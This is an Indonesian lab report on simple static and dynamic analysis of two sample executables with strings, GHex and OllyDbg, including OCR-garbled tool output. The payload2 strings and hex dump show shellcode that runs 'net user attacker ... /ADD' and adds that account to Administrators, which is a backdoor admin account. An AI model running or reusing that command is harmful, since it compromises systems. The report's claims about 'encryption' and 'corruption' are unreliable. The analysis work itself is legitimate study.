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MALWARE

Malware adalah adalah program komputer yang diciptakan dengan maksud dan tujuan

tertentu dari penciptanya dan merupakan program yang mencari kelemahan dari software.
Tools yang digunakan adalah:

1. Strings
2. GHex
3. Ollydbg
4. Hexdump

Dengan file target:

1. Payload
2. Payload?

Pertama menggunakan perintah strings pada payload, string sendiri berguna untuk mengurutkan
karakter, mencari karakter, memilih karakter yang ingin ditampilkan. Dan dapat dilihat perintah
string pada gambar 1.1 dibawah.

L0G: header received:
apr_socket_recv
</p>
Licensed to The Apache Software Foundation, http://www.apache.org/<br>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/<br>
This is ApacheBench, Version %s <i>&lt;%s&gt;</i><br>
$Revision: 655654 $
Licensed to The Apache Software Foundation, http://www.apache.org/
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
This is ApacheBench, Version %s
2.3 <$Revision: 655654 $>

-h Display usage information (this message)

= Don't exit on socket receive errors.

-
e filename Output CSV file with percentages served

g filename Output collected data to gnuplot format file.
=5 Do not show confidence estimators and warnings.
-d Do not show percentiles served table.
k
v
X
P

Use HTTP KeepAlive feature
Print version number and exit
proxy:port  Proxyserver and port number to use
attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
attribute Add Basic Www Authentication, the attributes
Inserted after all normal header lines. (repeatable)
attribute Add Arbitrary header line, eg. 'Accept-Encoding: gzip'
attribute Add cookie, eg. 'Apache=1234. (repeatable)
attributes String to insert as td or th attributes
attributes String to insert as tr attributes
attributes String to insert as table attributes
Use HEAD instead of GET
Print out results in HTML tables
verbosity How much troubleshooting info to print
Default is 'text/plain’
*application/x-www-form-urlencoded*
content-type Content-type header for POSTing, eg.
putfile File containing data to PUT. Remember also to set -T
postfile File containing data to POST. Remember also to set -T
windowsize Size of TCP send/receive buffer, in bytes
timelimit Seconds to max. wait for responses
-c concurrency Number of multiple requests to make
-n requests Number of requests to perform
Options are:

>

<SETRX<NAT




Your code just forked, and you are currently executing in the parent process
Your code just forked, and you are currently executing in the child process
Internal error

The process is not recognized.

The given path contained wildcard characters

The given path is misformatted or contained invalid characters
The given path was above the root path

The given path is incomplete

The given path is relative

The given path is absolute

The specified network mask is invalid.

The specified IP address is invalid.

DSO load failed

No shared memory is currently available

No thread key structure was provided and one was required.
No thread was provided and one was required.

No socket was provided and one was required.

No poll structure was provided and one was required.

No lock was provided and one was required.

No directory was provided and one was required.

No time was provided and one was required.

No process was provided and one was required.

An invalid socket was returned

An invalid date has been provided

A new pool could not be created.

Unrecognized Win32 error code %d

Cancello

GetCompressedFileSizeA

GetCompressedFileSizew

ZwQueryInformationFile

GetSecurityInfo

GetNamedSecurityInfoA

GetNamedSecurityInfow

GetEffectiveRightsFromAclw

Gambar 1.1. String pada payload

Terlihat pada perintah string pada gambar 1.1, terdapat banyak karakter yang dimiliki oleh file
playload, dan kita dapat melihat dan memilih karakter apa saja yang ada didalem file payload

diatas.

Lalu dilanjutkan dengan melakukan perintah string ke file ke dua, yaitu payload2. Dan dapat
dilihat pada gambar 1.2 dibawah.

faris@farismr strings payload2.exe
i}su
D$S[[aYZQ

cmd.exe /c net user attacker Gantengl /ADD && net localgroup Administrators attacker /ADD
faris@farismr

Gambar 1.2. Strings pada payload2

Terlihat tulisan user attacker Gantengl, menurut saya, file payload?2 ini telah dicrack(diserang) dan

diberikan malware, sehingga membuat file payload2 menjadi corrupt.

Setelah itu lakukan perintah GHex pada kedua file payload dan payload2 untuk melihat keamanan
pada kedua file tersebut. Dapat dilihat GHex pada payload dan payload2 pada gambar 1.3 dibawah.



payload.exe - GHex - + %

File Edit View Windows Help

0000000( D
0000001F|00
000O0O3E/G0 06 OE 1F BA OE 60 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61) |.......... !'..L.!This program ca
06000O5D|6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 6D 0D 0A 24 00 00 00| nnot be run in DOS mode....$...
0600007Cl00 06 00 00 93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3 59 9E 85 54 45 90

000009885 DE 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 OE 85 D7 59 9F 85 1E 59 9E 85 54 5]
AIC3 85 DF 59 9E 85 83 7A AE 85 FF 59 OE 85 10 5F 98 85 D6 59 9E 85 52 69 63 68 D7 59 9E 85 00|
060006DY9O 06 00 00 60 00 00 0O 00 0O 00 GO0 60 00 00 50 45 00 00 4C 01 04 00 47 71 D6 49 00 00 00 00
00000OF8e0 00 00 00 EG 00 OF 01 OB 01 06 GO0 00 BO 00 60 0O A0 00 00 00 00 00 00 8D SA 00 00 00 10 00
0000011700 06 CO 00 60 00 00 40 00 00 10 GO 60 0O 10 6O 00 04 00 00 0O 00 00 00 6O 04 00 0O 00 0O OO
00000136(00 00 00 60 61 00 60 10 00 0O 00 GO 60 6O 02 6O 0O 0O 00 60 10 00 00 10 6O GO 00 0O 10 0O 00
06000155(10 06 00 00 60 00 60 10 00 0O 00 GO 60 0O 00 6O 00 0O 00 6C C7 0O 0O 78 6O GO 00 0O 50 01 00
00000174/C8 07 00 0O 6O 00 00 0O 00 0O GO0 GO OO 0O 00 GO 0O 0O 00 6O 0O 00 06 0 6O GO 00 00 EO C1 00
0000019360 1C 00 00 6O 00 00 0O 00 0O GO0 GO OO 0O 00 GO 0O 0O 00 GO0 0O 00 00 00 6O GO 00 0O 00 0O 00
0000018260 00 00 0O 6O 00 00 0O 00 0O GO0 GO 60 0O 00 CO 0O 0O EO ©1 0O 00 00 OO0 6O GO 00 0O 00 0O 00
060001D100 00 00 GO 6O 00 00 0O 00 0O 00 GO B0 0O 00 2E 74 65 78 74 00 00 00 66 A9 GO 00 00 10 0O 0O
00CO01FE|G0 BO 00 0O 6O 10 00 0O 00 0O GO0 GO OO 0O 00 GO 0O 0O 00 6O 20 00 00 60 2E 72 64 61 74 61 00
00GO020F00 E6 OF 00 60 00 CO 0O 00 00 10 GO B0 0O CO GO 0O 0O 00 6O 0O 0O 00 @0 6O GO 00 0O 00 40 00
000O022E00 40 2E 64 61 74 61 00 00 00 5C 70 00 0O 00 DO 0O 0O 00 40 0O 00 06 DO 6O GO OO GO 0O 0O OO
0000024Dj00 00 00 0O 6O 00 00 40 00 00 CO 2E 72 73 72 63 00 00 00 C8 07 00 00 00 50 @1 0O 0O 10 0O OO
0000026C00 10 01 00 6O 00 00 0O 00 0O GO0 GO OO 0O 00 GO 40 00 00 40 00 00 00 00 6O GO OO 0O 0O 0O OO

pANAA22RINA AR AN NN AA NN AN AN AN NN NA AN NN NN AN NA AA AA AN AN AA NN NN AN NN N AN OA AN OO AN

signed 8 bit: | 77 signed 32 bit: | 3460301 Hexadecimal: | 4D

\ | \

Unsigned 8 bi: | 77 | Unsigned 32 bit: | 3460301 | octal: | 115 |

Signed 16 bit: | 23117 | Float 32 bit: | 1,325671e-38 | Binary: | 01001101 |

Unsigned 16 bit: | 23117 | Float 64 bit: | 6,370661e-314 | stream Length: | 8 ‘ - ‘ +
[E) Show little endian decoding ["] Show unsigned and float as hexadecimal

Offset: 0x0

Gambar 1.3. GHex pada payload

Pada gambar 1.3 terlihat kode encrypt pada file payload. Pada GHex payload terdapat banyak kode
encrypt di dalamnya, karena pada file payload memiliki banyak karakter. Lalu kita GHex juga file
payload2, dapat dilihat pada gambar 1.4 dibawah.

payload2.exe - GHex - + %
File Edit View Windows Help
00000060(;C E8 82 60 00 00 60 89 E5 31 CO 64 8B 50 30 8B 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF A(| |.|..... *..1.d.PO.R..R..r(..J&1..]
00000O1F3C 61 7C 02 2C 20 C1 CF oD 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B <a|., ....... RW.R..J<.L.x.H..Q.
00GO0O3E59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF oD 01 C7 38 E@ 75 F6 03 7D F8 3B/ [Y ...I..:I1.4...1....... SRUFENI
0000065D[7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 DO 89 44 24 24 5B 5B 61 [}su.X.X$..T. . K. X......... Dss[[a
0000007C|59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 6F 87 FF D5 BB FO| YZQ.._ Z....]j....... Phl.o.....
00CO0O9BB5S A2 56 68 A6 95 BD 9D FF D5 3C 06 7C OA 80 FB E@ 75 05 BB 47 13 72 6F 6A 00 53 FF D5 63 6D| |..Vh...... <.]....u..G.roj.S..cm
00CO0OBA64 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74| |d.exe /c net user attacker Gant
000000D965> 6E 67 31 20 2F 41 44 44 20 26 26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D |engl /ADD && net localgroup Adm
00CO0OF8|69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 inistrators attacker /ADD.
Signed 8 bit: | -4 Signed 32 bit: | 8579324 Hexadecimal: | FC

Unsigned 8 bit: | 252 Unsigned 32 bit: | 8579324 octal: | 374

Signed 16 bit:| -5892 Float 32 bit: | 1,202219e-38 Binary: | 11111100

Unsigned 16 bit: | 59644 Float 64 bit: | -1,5878662-263 stream Length: | 8 ‘— ‘ +

[E show little endian decoding [_] Show unsigned and float as hexadecimal

Offset: 0x0

Gambar 1.4. GHex pada payload2



Pada gambar 1.4 terlihat sedikit kode encrypt didalamnya, itu dikarenakan file payload2 telah

diserang malware dan corrupt. Sehingga karakter pada file payload2 telah hilang.

Selanjutnya dilakukan dengan menggunakan tools ollydbg, untuk ollydbg sendiri tidak dapat
membaca file payload2, sehingga ollydbg dilakukan pada file payload saja. Dan dapat dilihat pada
gambar 1.5 dibawah.

* OllyDbg - payload.exe - [CPU - main thread, module ntdll]
@ File View Debug Options Window Help

S| plu v+ 31 =) =) wlslwriwinlcls/xls/alls]
| crEoi e R TIOU DWORD C1R Go: LEehred, Eon i
T7EBEICE| v BaochB00 JAP ntdll. PYEESESA Regisvens (FPL) e
7rE@RIDI| SDR424 ooEEEEEn| LER ESP,DUORD PTR S5: LESPI ‘ EIF 77BOLCE ntdll.77EEOLCS
f7EaniCs| S0A454 aasnana| LER SSPIDUDRD PTR 55:CESF) e e = o e e ;
B o Hon F o CE 6823 22bit 6 )
{ Roaich| ann4 HOU_ED, ESP RE &R R ]
FAEGRLEE JORSs SHSENTER Z 0 Df 003 3Zhic O
vrEERiEY| C3 RETH e L £
58 FS 0853 35bit PEFODGBOLFFF)
rrEaatcy| Shadzd ooosaneo| LER S3F, DUDRD FTR S3:CESF) B HEEE R j
PPEMBIEC| SDed24 B LER ESF.DWORD PTR S5: [ESF g
rrEgalrel Shedm B LR Ep. DUORD FTR 52 feaen 0@ LsstErr ERROR_SUCCESS (0OBEOEEH)
TrEAAIFE| O3 R EFL BEEEEZER (MO, NE, NE, A, N5, PO, BE, B
TPEGAIFT| 90 HIP
7rEOAIFE| Goog AOD EVTE PTR DS5:[EARI.AL 19 e Bd
TEQAIFA| o004 AOD EVTE FTR D52 CEARI, AL 315 et Bee
PPEBBIFC| 1883 EP4CHREE | SBE BYTE PIR DS: [ECHHACEPI,CL 5 e b
b | @eoa BOG SIS FTR D: [ERKD AL £74 enpry 6.8
7 q & ST erpty 8.8
o7 5| 51 FOSH ER g S
I | ale AOD DWORD PTR DS: [EAXT, EAY B S
ey it iE8 BUEER IR BELER R TR TIITITY
: ; FST @008 Cond @ 0@ @ Ecr 8AOGBE G0 A (6T
o7 | Fo:67 LACK_POF ES LOCK prefis is not allowed
e El EH REERIRE B oo, FOU A2PF Frec HEAR,53 Hask 111111
i 6| g proesnze CALL 9rEmezic
b 5| =8 AOD AL, EVTE FTR DS:[ECR]
i 7| e AOD AL,
o7 3| 218 AHD DWARD PTR DS: [ECKI, EAK
I E| B30 41218EC |ADD BVTE PTR DS: [EAA+BCEEA1411, AL
o7 i| BB BAEESEEC HOU_EBs, BCSSABEA . <
| 901 5FFFo R
e o * JGBIBFTF4| BA4ASAA0| pay Load. <Hodu eEntryPaint >
H T H | 2eierers| eavespen
EE B o | ae16FFFE| paomoems
81 2o 0a 1
81 68 68 ]
86 3 3 ]
Ep GE 41 =
42 68 68 &
B &g GE A
SF 8 68 =
£3 20 09 4
25 73 30 20 43
EF 74 z@ 75 72
EF 6E 63 75 72
£3 75 Z0 &C &5
72| 28 67 T2 65 &1
26| 28 74 65 &1 6
25|74 g1 6C 23 6E
SB|E5 75 28 &F e
5[ 71 75 €5 4
FE| 25 72 3 5
FE| EC 63 64 3
£6| 75 72 T2 65 eE
AE5(EE 52 61 BE &7 n
uCE|2E ZE 25 &4 ED £o5d
acs( 25 73 3 5 EE 76 61| Het
o06[ BC 63 64 S £z 4c oA| Lid URL.
G05( B8 65 62 S 73 3A 20|....0
OEG| 77 T2 6F BE Er 20 BE 75|wrona nu
OES|ED 62 65 72 28 GF 66 28|mber of
OFG(E1 T2 &7 7E B0 &5 €E 74| sraument
OFS( 72 BA BB BE EE 73 £ 72|Z,..User
166| 20 41 67 65 6E 74 3A 88| —Aaent =

Gambar 1.5. Ollydbg pada payload

Pada ollydbg gambar 1.5, itu sendiri menu CPU, yang dimana menu CPU itu sudah include pilihan
lainnya seperti main thread, module, memory, dan lain-lain. Terdapat juga Hexdump didalamnya,
yang dimana hexdump sendiri adalah bilangan heksadesimal dari data computer, dari RAM, atau
dari file atau perangkat penyimpanan. Hexdump sendiri direpresentasikan sebagai angka
heksadesimal dua digit, yang dimana seperti gambar 1.5 hexdump memiliki 2 angka yang masing-
masing dipisahkan oleh kolom putih atau spasi.

Untuk Executable modules sendiri berfungsi untuk mencatat apa saja yang masuk pada ollydbg
yang sedang standby saat itu. Dapat dilihat pada kolom executable terdapat apa saja yang masuk



kedalam prosess saat ini, seperti contoh file payload yang terekam oleh executable. Dapat dilihat
pada gambar 1.6 dibawah.

3 OliyDbg - payload exe - [Executable modules]
[E] File View Debug Options Window Help

=

Slx| win| v+ yu] o ~ wle|mlr|winjc|/|x[B[R]|5] 12 |
Base Size Entr Hane Fils verzion |Path -

BR4EEAS0| pay load | 2. 2. 14 DivFar 125K Doo~SROM-FJR-TUGHG-pay [0ad=~pay load. ene

FEEEL120) USACKSZ |&.1.7688, 16385 | Cillindows systen3z-lSOCKS:

PEE41BE] | CRYFTEAS| £.1. 7688, 16385 | Callindows sy swowbd CRYPTBASE, dI |

PEEEASEE| SspiCli |€.1.7681. 17814 | Cavlindows suswowed SspiCli,dil

PEEF49EE| ADUAFIZZ| £.1. 7600, 16388 AOUAFTEE.dl1

PETEL7EZ| N £ Ll

PEIB497S sechost |6, =Hi0 Ll

TEBFRATE| MSUCRT |70 MSUCRT, dLL

7797478 KERNELER| 6. ERMELERSE. dL L

77213203 Kerne 22| 6. 33.dLl

PPECL4ED WS3 32 |6, 22,411

PTEIBEES RFCRTY |6, £388 SuowE RFCATA .d [1
TTAFARGE| 061366 ntdll &l 16385 | L llindows~SusWOWed ntd 1. dlL

Gambar 1.6. Executable Modules



